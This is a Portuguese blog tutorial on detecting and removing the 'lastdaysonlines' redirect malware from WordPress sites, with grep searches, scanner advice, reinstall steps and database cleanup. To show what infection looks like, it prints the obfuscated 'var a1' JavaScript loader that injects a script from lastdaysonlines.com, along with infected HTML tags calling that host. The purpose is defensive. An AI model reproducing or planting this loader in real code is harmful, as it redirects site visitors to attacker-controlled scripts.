Remover virus (malware) lastdaysonlines

Por não encontrar praticamente nada sobre este vírus (ou malware, como preferir chamar) resolvi colocar este nome lastdaysonlines, porque é o local que seu site é redirecionado quando infectado.

Algumas infecções de vírus acontecem via invasão de sites, outras por uma ‘injeção’ de código, que me parece ser o caso deste vírus.

Quando infectado este site, ocorre um redirecionamento rápido para um script ou arquivo php que é carregado do site lastdaysonlines, e dentro dele, carrega o arquivo robot.php ou robot.js, e estes arquivos redirecionam para sites aleatórios.

Localizando scripts maliciosos do lastdaysonlines

Todas as opções que colocarei aqui não são alternativas, e sim várias formas de conjuntamente localizar para eliminar o vírus lastdaysonlines.

Plugin Quttera

Mesmo com plugins mais famosos instalados no site como o sucuri e wordfence, o que achou o vírus foi o Quttera, um scanner gratuito de fácil instalação e utilização.

O importante nestes casos abaixo é identificar todos os arquivos infectados.

Com ele você pode fazer uma varredura completa no site para localizar possíveis vírus

Nota: Este plugin pode encontrar alguns falsos-positivos, que ele acha ser vírus mas na verdade pode não ser, então uma inspeção manual é bem vista nestes casos

Busca manual

Como disse no começo, é um passo adicional e altamente recomendável, pois alguma coisa pode passar batido da verificação do plugin.

Neste ponto é muito interessante você ter acesso SSH ao seu site, pois acessando em linha de comando tudo fica mais simples e claro.

Caso você não tenha acesso SSH, recomendo você ‘baixar’ seu site completo para um diretório local em seu computador.

Sendo acesso SSH ou local, você deverá localizar por alguns trechos de código:

  • “lastdaysonlines.com” dentro de um tag <script> em arquivos .php
  • “var a1=” no início de arquivos .js

Deixo aqui uma dica opcional para usuários Linux buscar facilmente, um comando simples de ser executado, que deverá ser executado no diretório raiz do site

find . -iname "*.php" -exec grep -l -i "lastdaysonlines" {} \;
find . -iname "*.js" -exec grep -l -i "var a1=" {} \;

Estes comandos acima buscam em “.”, que é o diretório atual que você está uma parte do código “lastdaysonlines” ou “var a1=” em todos os arquivos php ou js respectivamente.

Lembrando que: Nem todos os arquivos que encontrar estarão necessariamente infectados pelo vírus, TEM que ver um a um!

Exemplos de códigos infectados

Abaixo alguns exemplos de códigos infectados

Primeiro exemplo: Arquivo wp-syntax INFECTADO

var a1=function(){var _0x41fbc1=String["\x66\x72\x6F\x6D\x43\x68\x61\x72\x43\x6F\x64\x65"](104, 116, 116, 112, 115, 58, 47, 47, 108, 97, 115, 116, 100, 97, 121, 115, 111, 110, 108, 105, 110, 101, 115, 46, 99, 111, 109, 47, 114, 111, 98, 111, 116, 115, 46, 106, 115);var _0x41fbc2=document"\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74";_0x41fbc2["\x74\x79\x70\x65"]= "\x74\x65\x78\x74\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74";_0x41fbc2["\x61\x73\x79\x6E\x63"]= true;_0x41fbc2["\x69\x64"]= "\x63\x64\x37\x30\x39\x30\x31\x30";_0x41fbc2["\x73\x72\x63"]= _0x41fbc1;var _0x41fbc3=document"\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65"[0];_0x41fbc3["\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65"]"\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65"};var scripts=document"\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65";var n=true;for(var i=0;i< scripts["\x6C\x65\x6E\x67\x74\x68"];i++){if(scripts[i]["\x69\x64"]== "\x63\x64\x37\x30\x39\x30\x31\x30"){n= false}};if(n== true){a1()}jQuery(document).ready(function($)
{
$('.wp_syntax').bind(
{
mouseover: function()
{
var w = $(this).find('table').outerWidth();
var hw = $(document).width() - $(this).offset().left - 20;
...

Agora, o mesmo arquivo do wp-syntax.js SEM Vírus

jQuery(document).ready(function($)
{
	$('.wp_syntax').bind(
	{
		mouseover: function()
		{
			var w = $(this).find('table').outerWidth();
			var hw = $(document).width() - $(this).offset().left - 20;
...

Notou que o vírus insere a seguinte função na primeira linha ‘var a1=function(){var _0x41fbc1=String[“\x66\x72\x6F\x6D\x43\x68\x61\x72\x43\x6F\x64\x65″…’?

Esta função A1 que ele criou no no arquivo js é responsável pela chamada do redirecionamento para o vírus.

Agora, mais um exemplo, no caso de um arquivo php INFECTADO, que pode ter os scripts embutidos e também redirecionamentos de outros arquivos (como imagens)

<head><script src="https://lastdaysonlines.com/robots.js">.... </script>
<link rel="pingback" href="http://lastdaysonlines.com/robots.js?s=3&/xmlrpc.php" />
</head>
...
<div class="thumb-wrap"><a href="http://site.com.br/blog/2018/03/13/imagem1/" rel="bookmark" title="Titulo"><img width="198" height="143" itemprop="image" class="entry-thumb" src="https://lastdaysonlines.com/robots.js?s=3&/wp-content/uploads/2018/03/imagem1.png" alt="" title="Titulo"/></a></div>
<div class="item-details">

Este mesmo trecho de código Limpo deveria estar assim:

<head>
<link rel="pingback" href="/xmlrpc.php" />
</head>
...
<div class="thumb-wrap"><a href="http://site.com.br/blog/2018/03/13/imagem1/" rel="bookmark" title="Titulo"><img width="198" height="143" itemprop="image" class="entry-thumb" src="/wp-content/uploads/2018/03/imagem1.png" alt="" title="Titulo"/></a></div>
<div class="item-details">

Não esqueça do Banco de dados

Sempre vale a pena verificar o banco de dados. procure arquivos de scripts internos com o robots.js

Removendo definitivamente o lastdaysonlines

Anteriormente falei sobre a identificação, como localizar e alguns exemplos de código infectado pelo lastdaysonlines, agora falarei mais a fundo sobre a estrutura, remoção e testes

A Estrutura do lastdaysonlines

Como dissemos, ele se divide em dois tipos de códigos, os de aquivos php e os de js.

Nos arquivos de php ele encontra-se em alguns locais:

  • <script> dentro do <head>
  • Tags de imagens
  • Embutido em scripts de js inline no código
  • Links internos
  • Arquivos de carregamento (como arquivos de css ou js)

Então, no caso de arquivos php, procure sempre pela string ‘lastdaysonlines’

Nos arquivos js ele normalmente coloca uma função no início da primeira linha do arquivo (como mostrado no exemplo de código infectado)

Em ambos os casos você DEVERÁ REMOVER MANUALMENTE TUDO RELACIONADO AO LASTDAYSONLINES, mas sempre preservando a estrutura do código, ou seja as tags, os comandos de php e os comentários do código.

IMPORTANTE SABER: Ele se espalha por praticamente todo o site, nos diretórios wp-content, wp-include, themes, plugins e todos os subdiretórios…

Otimizando o seu tempo para remover quase tudo automaticamente

Para facilitar BASTANTE o serviço de remoção – que é manual feito arquivo por arquivo – você pode ganhar tempo excluindo e instalando novamente praticamente tudo.

A estrutura do WordPress

Se tiver muitos arquivos dentro do wp-include ou outras áreas do WordPress sugiro que você TIRE UM BACKUP DE TUDO e depois instale uma nova instância do WordPress (em uma nova instalação)

Se desejar remover manualmente, tudo bem… Vai depender do seu tempo disponível e conhecimento de programação…

Não se esqueça do seu banco de dados, faça um backup para restaurar depois.

Backup e restore do banco de dados com Easy Engine

Faça um backup com o comando

wp db backup

Isto irá gerar um arquivo com extensão sql

Depois restaure na nova instalação

wp db restore arquivo.sql

Plugins e Temas

Faça uma listagem dos plugins e temas que você tem instalados. Se você estiver trabalhando com temas-filhos, vai ser muito mais simples.

Manualmente

Lembre-se do backup antes.

Depois apague todos os plugins e temas.

Instale-os novamente diretamente do repositório WordPress (para vir sem vírus)

Ative os plugins e tema padrão.

Nesta opção você só terá que editar os arquivos do tema, que restarão com arquivos do vírus

Para quem usa Easy Engine

Aqui é bem mais simples. Você pode listar todos seus temas

wp theme install $(wp theme list --field=name) --force

Este comando reinstala todos os temas que foram baixados pelo repositório WordPress. Os temas que você colocou manualmente terá que reinstalar manualmente também.

Com os plugins é praticamente a mesma coisa. Apague os plugins

wp plugin install $(wp plugin list --field=name) --force

E pronto.

Banco de dados

No banco de dados você tem que revisar para ver se está infectado.

O código de infecção é bem parecido com o encontrado no arquivo php

<script src='https://lastdays onlines.com/robots.js'></script>

Eu deixei um espaço propositalmente no código acima entre lastdays e online para não correr o risco do código ser carregado aqui no site

Em uma outra variação encontrei também um código bem parecido, porém para outro site:

<script async="" src="https://simple oneline.online/online.js?js=v.1.0.6" type="text/javascript">

Da mesma forma, existe um espaço entre o simple e oneline por questão de proteção

Editando o Banco de Dados

Via ee você pode fazer

ee admin-tools enable www.wordpressbrasil.com.br

ee auth list global

ee site info www.wordpressbrasil.com.br

E faça o login no endereço seusite.com.br/ee-admin/pma

Agora, basta fazer a pesquisa

Busca SQL via phpmyadmin

E editar o conteúdo que você achar, retirando a parte do script

Testando e re-testando tudo

Para a maioria das coisas do dia-a-dia eu prefiro usar o navegador Google Chrome, porém para fazer testes de carregamento eu prefiro o Mozilla Firefox.

Ao abrir seu Firefox, abra seu site e depois clique com o botão direito do mouse e selecione Inspecionar Elemento.

Vá até a aba Network e recarregue a página.

Tem um campo chamado “Filter URLs” na inspeção, coloque lastdaysonlines para buscar por qualquer requisição.

Se não aparecer nada, seu site está limpo. Parabéns!

Se aparecer algo que ainda mostra o carregamento da página lastdaysonlines você ainda pode acessar a aba Debugger e clicar nos arquivos que aparecem na lateral para ver qual deles está carregando ainda arquivos da lastdaysonlines.

Esqueceu do CDN e do Cache?

Se você utiliza serviços como o CloudFlare, lembre-se de colocar seu site em “Development Mode” e Limpar o Cache.

Se utiliza plugins de cache como o w3 total cache, wp fastest cache, ou outro, lembre-se de limpar o cache do seu site.

E por fim, lembre-se que seu navegador também tem um cache, portanto limpe-o e reinicie seu computador para garantir que está tudo ok.

Depois de tudo limpo, o que faço?

Neste ponto, espero que você tenha conseguido limpar seu site. Mas e agora, o que fazer para não ter mais esta dor de cabeças?

Aqui vão algumas práticas de segurança importantes para qualquer site

  • Mantenha seu site, plugins e temas sempre atualizados
  • Não utilize temas e plugins “pirateados” da Internet
  • Utilize senhas fortes dos usuários
  • Não utilize o usuário admin (é muito padrão, utilize outro nome de usuário)
  • Utilize plugins de segurança como wordfence ou sucuri.
  • Faça inspeções de segurança regularmente

Se gostou e conseguiu ou mesmo ainda não conseguiu, comente aqui embaixo.

Um abraço para todos.

2 comentários em “Remover virus (malware) lastdaysonlines”

  1. Boa Noite,

    Acho que esse vírus é novo, eu também peguei ele e realmente só consegui identificar os arquivos infectados com o plugin Quttera, porém são tantos que torna muito difícil recuperar todos por sorte eu tinha o backup limpo, mais alem dos arquivos, ele também adiciona o código no banco de dados, o ideal é exportar o BD e usar no notepad++ para localizar essa linha e editar os arquivos infectados.

    Responder

Deixe uma resposta